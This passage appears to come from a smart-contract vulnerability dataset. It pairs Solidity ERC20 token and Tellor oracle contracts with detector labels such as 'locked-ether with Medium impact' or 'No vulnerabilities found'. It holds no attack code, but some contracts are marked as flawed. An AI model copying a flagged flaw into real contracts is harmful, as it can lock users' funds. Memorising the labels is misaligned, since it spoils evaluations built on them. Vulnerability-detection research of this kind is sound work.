uint256 tokensToBurn = 0;
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/* 1-time token mint/creation function. Tokens are only minted during contract creation, and cannot be done again.*/
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
}
/**
social experiment token
*/ | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/StandardERC20.sol
pragma solidity ^0.8.0;
/**
* @title StandardERC20
* @dev Implementation of the StandardERC20
*/
contract StandardERC20 is ERC20Decimals, ServicePayer {
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") {
require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
}
| No vulnerabilities found |
// SPDX-License-Identifier: MIT
/**
* This contract holds staking functions, tallyVotes and updateDisputeFee
* Because of space limitations and will be consolidated in future iterations
*/
pragma solidity 0.7.4;
import "./SafeMath.sol";
import "./TellorGetters.sol";
import "./TellorVariables.sol";
import "./Utilities.sol";
contract Extension is TellorGetters {
using SafeMath for uint256;
//emitted upon dispute tally
event DisputeVoteTallied(
uint256 indexed _disputeID,
int256 _result,
address indexed _reportedMiner,
address _reportingParty,
bool _active
);
event StakeWithdrawn(address indexed _sender); //Emits when a staker is block.timestamp no longer staked
event StakeWithdrawRequested(address indexed _sender); //Emits when a staker begins the 7 day withdraw period
event NewStake(address indexed _sender); //Emits upon new staker
/**
* @dev This function allows miners to deposit their stake.
*/
function depositStake() public {
newStake(msg.sender);
updateMinDisputeFee();
}
/**
* @dev This internal function is used the depositStake function to successfully stake miners.
* The function updates their status/state and status start date so they are locked it so they can't withdraw
* and updates the number of stakers in the system.
*/
function newStake(address _staker) internal {
require(
balances[_staker][balances[_staker].length - 1].value >=
uints[_STAKE_AMOUNT],
"Balance is lower than stake amount"
);
//Ensure they can only stake if they are not currently staked or if their stake time frame has ended
//and they are currently locked for withdraw
require(
stakerDetails[_staker].currentStatus == 0 ||
stakerDetails[_staker].currentStatus == 2,
"Miner is in the wrong state"
);
uints[_STAKE_COUNT] += 1;
stakerDetails[_staker] = StakeInfo({
currentStatus: 1, //this resets their stake start date to today
startDate: block.timestamp - (block.timestamp % 86400)
});
emit NewStake(_staker);
}
/*Functions*/
/**
* @dev This function allows stakers to request to withdraw their stake (no longer stake)
* once they lock for withdraw(stakes.currentStatus = 2) they are locked for 7 days before they
* can withdraw the deposit
*/
function requestStakingWithdraw() public {
StakeInfo storage stakes = stakerDetails[msg.sender];
//Require that the miner is staked
require(stakes.currentStatus == 1, "Miner is not staked");
//Change the miner staked to locked to be withdrawStake
stakes.currentStatus = 2;
//Change the startDate to block.timestamp since the lock up period begins block.timestamp
//and the miner can only withdraw 7 days later from block.timestamp(check the withdraw function)
stakes.startDate = block.timestamp - (block.timestamp % 86400);
//Reduce the staker count
uints[_STAKE_COUNT] -= 1;
//Update the minimum dispute fee that is based on the number of stakers
updateMinDisputeFee();
emit StakeWithdrawRequested(msg.sender);
}
/**
* @dev This function allows users to withdraw their stake after a 7 day waiting
* period from request
*/
function withdrawStake() public {
StakeInfo storage stakes = stakerDetails[msg.sender];
//Require the staker has locked for withdraw(currentStatus ==2) and that 7 days have
//passed by since they locked for withdraw
require(
block.timestamp - (block.timestamp % 86400) - stakes.startDate >=
7 days,
"7 days didn't pass"
);
require(
stakes.currentStatus == 2,
"Miner was not locked for withdrawal"
);
stakes.currentStatus = 0;
emit StakeWithdrawn(msg.sender);
}
/**
* @dev tallies the votes and locks the stake disbursement(currentStatus = 4) if the vote passes
* @param _disputeId is the dispute id
*/
function tallyVotes(uint256 _disputeId) public {
Dispute storage disp = disputesById[_disputeId];
//Ensure this has not already been executed/tallied
require(disp.executed == false, "Dispute has been already executed");
require(
block.timestamp >= disp.disputeUintVars[_MIN_EXECUTION_DATE],
"Time for voting haven't elapsed"
);
require(
disp.reportingParty != address(0),
"reporting Party is address 0"
);
int256 _tally = disp.tally;
if (_tally > 0) {
//Set the dispute state to passed/true
disp.disputeVotePassed = true;
}
//If the vote is not a proposed fork
if (disp.isPropFork == false) {
//Ensure the time for voting has elapsed
StakeInfo storage stakes = stakerDetails[disp.reportedMiner];
//If the vote for disputing a value is successful(disp.tally >0) then unstake the reported
// miner and transfer the stakeAmount and dispute fee to the reporting party
if (stakes.currentStatus == 3) {
stakes.currentStatus = 4;
}
}
disp.disputeUintVars[_TALLY_DATE] = block.timestamp;
disp.executed = true;
emit DisputeVoteTallied(
_disputeId,
_tally,
disp.reportedMiner,
disp.reportingParty,
disp.disputeVotePassed
);
}
/**
* @dev This function updates the minimum dispute fee as a function of the amount
* of staked miners
*/
function updateMinDisputeFee() public {
uint256 _stakeAmt = uints[_STAKE_AMOUNT];
uint256 _trgtMiners = uints[_TARGET_MINERS];
uints[_DISPUTE_FEE] = SafeMath.max(
15e18,
(_stakeAmt -
((_stakeAmt *
(SafeMath.min(_trgtMiners, uints[_STAKE_COUNT]) * 1000)) /
_trgtMiners) /
1000)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
//Slightly modified SafeMath library - includes a min and max function, removes useless div function
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256 c) {
if (b > 0) {
c = a + b;
assert(c >= a);
} else {
c = a + b;
assert(c <= a);
}
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function max(int256 a, int256 b) internal pure returns (uint256) {
return a > b ? uint256(a) : uint256(b);
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function sub(int256 a, int256 b) internal pure returns (int256 c) {
if (b > 0) {
c = a - b;
assert(c <= a);
} else {
c = a - b;
assert(c >= a);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
import "./SafeMath.sol";
import "./TellorStorage.sol";
import "./TellorVariables.sol";
import "./Utilities.sol";
/**
* @title Tellor Getters
* @dev Oracle contract with all tellor getter functions
*/
contract TellorGetters is TellorStorage, TellorVariables, Utilities {
using SafeMath for uint256;
/**
* @dev This function tells you if a given challenge has been completed by a given miner
* @param _challenge the challenge to search for
* @param _miner address that you want to know if they solved the challenge
* @return true if the _miner address provided solved the
*/
function didMine(bytes32 _challenge, address _miner)
public
view
returns (bool)
{
return minersByChallenge[_challenge][_miner];
}
/**
* @dev Checks if an address voted in a given dispute
* @param _disputeId to look up
* @param _address to look up
* @return bool of whether or not party voted
*/
function didVote(uint256 _disputeId, address _address)
external
view
returns (bool)
{
return disputesById[_disputeId].voted[_address];
}
/**
* @dev allows Tellor to read data from the addressVars mapping
* @param _data is the keccak256("variable_name") of the variable that is being accessed.
* These are examples of how the variables are saved within other functions:
* addressVars[keccak256("_owner")]
* addressVars[keccak256("tellorContract")]
* @return address of the requested variable
*/
function getAddressVars(bytes32 _data) external view returns (address) {
return addresses[_data];
}
/**
* @dev Gets all dispute variables
* @param _disputeId to look up
* @return bytes32 hash of dispute
* bool executed where true if it has been voted on
* bool disputeVotePassed
* bool isPropFork true if the dispute is a proposed fork
* address of reportedMiner
* address of reportingParty
* address of proposedForkAddress
* uint of requestId
* uint of timestamp
* uint of value
* uint of minExecutionDate
* uint of numberOfVotes
* uint of blocknumber
* uint of minerSlot
* uint of quorum
* uint of fee
* int count of the current tally
*/
function getAllDisputeVars(uint256 _disputeId)
public
view
returns (
bytes32,
bool,
bool,
bool,
address,
address,
address,
uint256[9] memory,
int256
)
{
Dispute storage disp = disputesById[_disputeId];
return (
disp.hash,
disp.executed,
disp.disputeVotePassed,
disp.isPropFork,
disp.reportedMiner,
disp.reportingParty,
disp.proposedForkAddress,
[
disp.disputeUintVars[_REQUEST_ID],
disp.disputeUintVars[_TIMESTAMP],
disp.disputeUintVars[_VALUE],
disp.disputeUintVars[_MIN_EXECUTION_DATE],
disp.disputeUintVars[_NUM_OF_VOTES],
disp.disputeUintVars[_BLOCK_NUMBER],
disp.disputeUintVars[_MINER_SLOT],
disp.disputeUintVars[keccak256("quorum")],
disp.disputeUintVars[_FEE]
],
disp.tally
);
}
/**
* @dev Checks if a given hash of miner,requestId has been disputed
* @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId,_timestamp));
* @return uint disputeId
*/
function getDisputeIdByDisputeHash(bytes32 _hash)
external
view
returns (uint256)
{
return disputeIdByDisputeHash[_hash];
}
/**
* @dev Checks for uint variables in the disputeUintVars mapping based on the disputeId
* @param _disputeId is the dispute id;
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
* the variables/strings used to save the data in the mapping. The variables names are
* commented out under the disputeUintVars under the Dispute struct
* @return uint value for the bytes32 data submitted
*/
function getDisputeUintVars(uint256 _disputeId, bytes32 _data)
external
view
returns (uint256)
{
return disputesById[_disputeId].disputeUintVars[_data];
}
/**
* @dev Gets the a value for the latest timestamp available
* @return value for timestamp of last proof of work submitted
* @return true if the is a timestamp for the lastNewValue
*/
function getLastNewValue() external view returns (uint256, bool) {
return (
retrieveData(
requestIdByTimestamp[uints[_TIME_OF_LAST_NEW_VALUE]],
uints[_TIME_OF_LAST_NEW_VALUE]
),
true
);
}
/**
* @dev Gets the a value for the latest timestamp available
* @param _requestId being requested
* @return value for timestamp of last proof of work submitted and if true if it exist or 0 and false if it doesn't
*/
function getLastNewValueById(uint256 _requestId)
external
view
returns (uint256, bool)
{
Request storage _request = requestDetails[_requestId];
if (_request.requestTimestamps.length != 0) {
return (
retrieveData(
_requestId,
_request.requestTimestamps[
_request.requestTimestamps.length - 1
]
),
true
);
} else {
return (0, false);
}
}
/**
* @dev Gets blocknumber for mined timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up blocknumber
* @return uint of the blocknumber which the dispute was mined
*/
function getMinedBlockNum(uint256 _requestId, uint256 _timestamp)
external
view
returns (uint256)
{
return requestDetails[_requestId].minedBlockNum[_timestamp];
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up miners for
* @return the 5 miners' addresses
*/
function getMinersByRequestIdAndTimestamp(
uint256 _requestId,
uint256 _timestamp
) external view returns (address[5] memory) {
return requestDetails[_requestId].minersByValue[_timestamp];
}
/**
* @dev Counts the number of values that have been submitted for the request
* if called for the currentRequest being mined it can tell you how many miners have submitted a value for that
* request so far
* @param _requestId the requestId to look up
* @return uint count of the number of values received for the requestId
*/
function getNewValueCountbyRequestId(uint256 _requestId)
external
view
returns (uint256)
{
return requestDetails[_requestId].requestTimestamps.length;
}
/**
* @dev Getter function for the specified requestQ index
* @param _index to look up in the requestQ array
* @return uint of requestId
*/
function getRequestIdByRequestQIndex(uint256 _index)
external
view
returns (uint256)
{
require(_index <= 50, "RequestQ index is above 50");
return requestIdByRequestQIndex[_index];
}
/**
* @dev Getter function for requestId based on timestamp
* @param _timestamp to check requestId
* @return uint of requestId
*/
function getRequestIdByTimestamp(uint256 _timestamp)
external
view
returns (uint256)
{
return requestIdByTimestamp[_timestamp];
}
/**
* @dev Getter function for the requestQ array
* @return the requestQ array
*/
function getRequestQ() public view returns (uint256[51] memory) {
return requestQ;
}
/**
* @dev Allows access to the uint variables saved in the apiUintVars under the requestDetails struct
* for the requestId specified
* @param _requestId to look up
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
* the variables/strings used to save the data in the mapping. The variables names are
* commented out under the apiUintVars under the requestDetails struct
* @return uint value of the apiUintVars specified in _data for the requestId specified
*/
function getRequestUintVars(uint256 _requestId, bytes32 _data)
external
view
returns (uint256)
{
return requestDetails[_requestId].apiUintVars[_data];
}
/**
* @dev Gets the API struct variables that are not mappings
* @param _requestId to look up
* @return uint of index in requestQ array
* @return uint of current payout/tip for this requestId
*/
function getRequestVars(uint256 _requestId)
external
view
returns (uint256, uint256)
{
Request storage _request = requestDetails[_requestId];
return (
_request.apiUintVars[_REQUEST_Q_POSITION],
_request.apiUintVars[_TOTAL_TIP]
);
}
/**
* @dev This function allows users to retrieve all information about a staker
* @param _staker address of staker inquiring about
* @return uint current state of staker
* @return uint startDate of staking
*/
function getStakerInfo(address _staker)
external
view
returns (uint256, uint256)
{
return (
stakerDetails[_staker].currentStatus,
stakerDetails[_staker].startDate
);
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up miners for
* @return address[5] array of 5 addresses of miners that mined the requestId
*/
function getSubmissionsByTimestamp(uint256 _requestId, uint256 _timestamp)
external
view
returns (uint256[5] memory)
{
return requestDetails[_requestId].valuesByTimestamp[_timestamp];
}
/**
* @dev Gets the timestamp for the value based on their index
* @param _requestID is the requestId to look up
* @param _index is the value index to look up
* @return uint timestamp
*/
function getTimestampbyRequestIDandIndex(uint256 _requestID, uint256 _index)
external
view
returns (uint256)
{
return requestDetails[_requestID].requestTimestamps[_index];
}
/**
* @dev Getter for the variables saved under the TellorStorageStruct uints variable
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name")
* where variable_name is the variables/strings used to save the data in the mapping.
* The variables names in the TellorVariables contract
* @return uint of specified variable
*/
function getUintVar(bytes32 _data) public view returns (uint256) {
return uints[_data];
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up miners for
* @return bool true if requestId/timestamp is under dispute
*/
function isInDispute(uint256 _requestId, uint256 _timestamp)
external
view
returns (bool)
{
return requestDetails[_requestId].inDispute[_timestamp];
}
/**
* @dev Retrieve value from oracle based on timestamp
* @param _requestId being requested
* @param _timestamp to retrieve data/value from
* @return value for timestamp submitted
*/
function retrieveData(uint256 _requestId, uint256 _timestamp)
public
view
returns (uint256)
{
return requestDetails[_requestId].finalValues[_timestamp];
}
/**
* @dev Getter for the total_supply of oracle tokens
* @return uint total supply
*/
function totalSupply() external view returns (uint256) {
return uints[_TOTAL_SUPPLY];
}
/**
* @dev Allows users to access the token's name
*/
function name() external pure returns (string memory) {
return "Tellor Tributes";
}
/**
* @dev Allows users to access the token's symbol
*/
function symbol() external pure returns (string memory) {
return "TRB";
}
/**
* @dev Allows users to access the number of decimals
*/
function decimals() external pure returns (uint8) {
return 18;
}
/**
* @dev Getter function for the requestId being mined
* returns the currentChallenge, array of requestIDs, difficulty, and the current Tip of the 5 IDs
*/
function getNewCurrentVariables()
external
view
returns (
bytes32 _challenge,
uint256[5] memory _requestIds,
uint256 _diff,
uint256 _tip
)
{
for (uint256 i = 0; i < 5; i++) {
_requestIds[i] = currentMiners[i].value;
}
return (
bytesVars[_CURRENT_CHALLENGE],
_requestIds,
uints[_DIFFICULTY],
uints[_CURRENT_TOTAL_TIPS]
);
}
/**
* @dev Getter function for next requestIds on queue/request with highest payouts at time the function is called
*/
function getNewVariablesOnDeck()
external
view
returns (uint256[5] memory idsOnDeck, uint256[5] memory tipsOnDeck)
{
idsOnDeck = getTopRequestIDs();
for (uint256 i = 0; i < 5; i++) {
tipsOnDeck[i] = requestDetails[idsOnDeck[i]].apiUintVars[
_TOTAL_TIP
];
}
}
/**
* @dev Getter function for the top 5 requests with highest payouts. This function is used within the getNewVariablesOnDeck function
*/
function getTopRequestIDs()
public
view
returns (uint256[5] memory _requestIds)
{
uint256[5] memory _max;
uint256[5] memory _index;
(_max, _index) = getMax5(requestQ);
for (uint256 i = 0; i < 5; i++) {
if (_max[i] != 0) {
_requestIds[i] = requestIdByRequestQIndex[_index[i]];
} else {
_requestIds[i] = currentMiners[4 - i].value;
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
// Helper contract to store hashes of variables
contract TellorVariables {
bytes32 constant _BLOCK_NUMBER =
0x4b4cefd5ced7569ef0d091282b4bca9c52a034c56471a6061afd1bf307a2de7c; //keccak256("_BLOCK_NUMBER");
bytes32 constant _CURRENT_CHALLENGE =
0xd54702836c9d21d0727ffacc3e39f57c92b5ae0f50177e593bfb5ec66e3de280; //keccak256("_CURRENT_CHALLENGE");
bytes32 constant _CURRENT_REQUESTID =
0xf5126bb0ac211fbeeac2c0e89d4c02ac8cadb2da1cfb27b53c6c1f4587b48020; //keccak256("_CURRENT_REQUESTID");
bytes32 constant _CURRENT_REWARD =
0xd415862fd27fb74541e0f6f725b0c0d5b5fa1f22367d9b78ec6f61d97d05d5f8; //keccak256("_CURRENT_REWARD");
bytes32 constant _CURRENT_TOTAL_TIPS =
0x09659d32f99e50ac728058418d38174fe83a137c455ff1847e6fb8e15f78f77a; //keccak256("_CURRENT_TOTAL_TIPS");
bytes32 constant _DEITY =
